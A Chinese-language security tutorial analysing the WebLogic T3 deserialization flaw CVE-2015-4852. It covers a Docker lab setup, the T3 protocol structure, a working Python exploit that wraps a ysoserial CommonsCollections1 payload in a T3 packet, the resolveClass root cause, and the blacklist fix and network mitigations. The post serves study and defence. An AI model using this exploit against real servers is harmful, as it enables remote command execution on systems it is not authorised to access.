前言
之前遇到Weblogic就是工具一把梭,现在来详细分析下Weblogic相关漏洞的原理。
weblogic反序列化主要有XMLDecoder和T3协议。先从T3协议开始,主要是CVE-2015-4852
这个漏洞
环境搭建
构建镜像
使用github上的环境:https://github.com/QAX-A-Team/WeblogicEnvironment
下载jdk压缩包和weblogic,然后把下载好的jdk文件放在该项目的jdks文件夹下,weblogic的源码放在weblogics文件夹下。
执行命令
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
搭建成功
远程调试
需要把一些weblogic的依赖Jar包给导出来才能进行远程调试。
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
用IDEA打开wlserver文件夹,然后导入coherence_3.7\lib和modules
再把 server/lib 作为依赖进行导入
在配置页面添加Remote并修改端口
T3协议
T3协议概述
RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。以下是T3协议的特点:
- 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
- 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
T3协议结构
T3协议里包含请求包头和请求的主体这两部分内容。
请求包头
请求包的头如下
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
发送一个请求包的头,看看会返回什么
import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
T3Test(ip,port)
返回内容中包含了版本信息
用wireshark抓包
然后追踪TCP流,可以看到在HELO后面会返回一个版本号
请求主体
T3协议中传输的都是序列化数据,分为七个部分,第一部分就是协议头,也就是
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
借用两张图来描述一下T3协议包的主要内容
第二到第七部分内容,开头都是ac ed 00 05
,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式
- 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
漏洞复现
复现
这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
查看一下容器里的/tmp目录,发现成功创建了success文件
docker exec weblogic1036jdk7u21 ls tmp/
payload数据包分析
wireshark添加过滤器
tcp.port == 7001
第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是payload数据包
来详细看一下第三个数据包,主要有四个组成部分,如下
- 数据包长度
- T3协议头
- 反序列化标志:T3协议中每个反序列化数据包前面都带有
fe 01 00 00
,再加上反序列化标志ac ed 00 05
就变成了fe 01 00 00 ac ed 00 05
- 数据
再回来看看poc,这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。
- 数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去
- T3协议头是固定的,直接硬编码进去就行
- 反序列化标志+数据=weblogic反序列化标志
fe010000
+ysoserial生成的序列化数据
漏洞分析
CVE-2015-4852
1.weblogic.rjvm.InboundMsgAbbrev#readObject
调用了内部类InboundMsgAbbrev.ServerChannelInputStream的readObject方法
2.InboundMsgAbbrev.ServerChannelInputStream#readObject
ServerChannelInputStream继承自ObjectInputStream类,这里重写了resolveClass,但是实际上调用的还是父类ObjectInputStream的resolveClass方法,等于没有做任何防御,导致漏洞的出现。
可以在导入的依赖中看到这个版本自带CommonCollections3.2.0,这样反序列化点和gadget就都有了。利用ysoserial生成CommonsCollections1的payload然后放到T3协议数据包力就可以了
那么现在有一个问题,为什么说resolveClass可以防御Java反序列化?
resolveClass作用
先从resolveClass的作用说起。
resolveClass
方法的作用是将类的序列化描述符加工成该类的Class对象。
因为对应的Class对象是在resolveClass这里返回的,所以这里是防御反序列化的关键。重写resolveClass然后再里面添加一个类的黑名单,发现类在黑名单中就抛出错误,这样就无法获取恶意的类的Class对象。此方法一定程度上可以防御反序列化(虽然黑名单过滤效果不好)
weblogic进行反序列化的执行流程图
借用的反序列化攻击时序图
CVE-2015-4852修复
Weblogic对CVE-2015-4852的修复措施是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤
黑名单的内容,可以看到黑名单过滤了CommonCollections
还参考这篇文章中的修复方式:https://www.anquanke.com/post/id/226070#h2-15
不局限于重写resolveClass
开放在外网的情况下,还可以采用web代理和负载均衡。
- web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
- 负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。
总结
主要学习了以下内容
- T3协议的组成和在Weblogic反序列化中的利用
- CVE-2015-4852的产生原因及修复,以及resolveClass在防御反序列化方面的应用
参考链接
http://wjlshare.com/archives/1573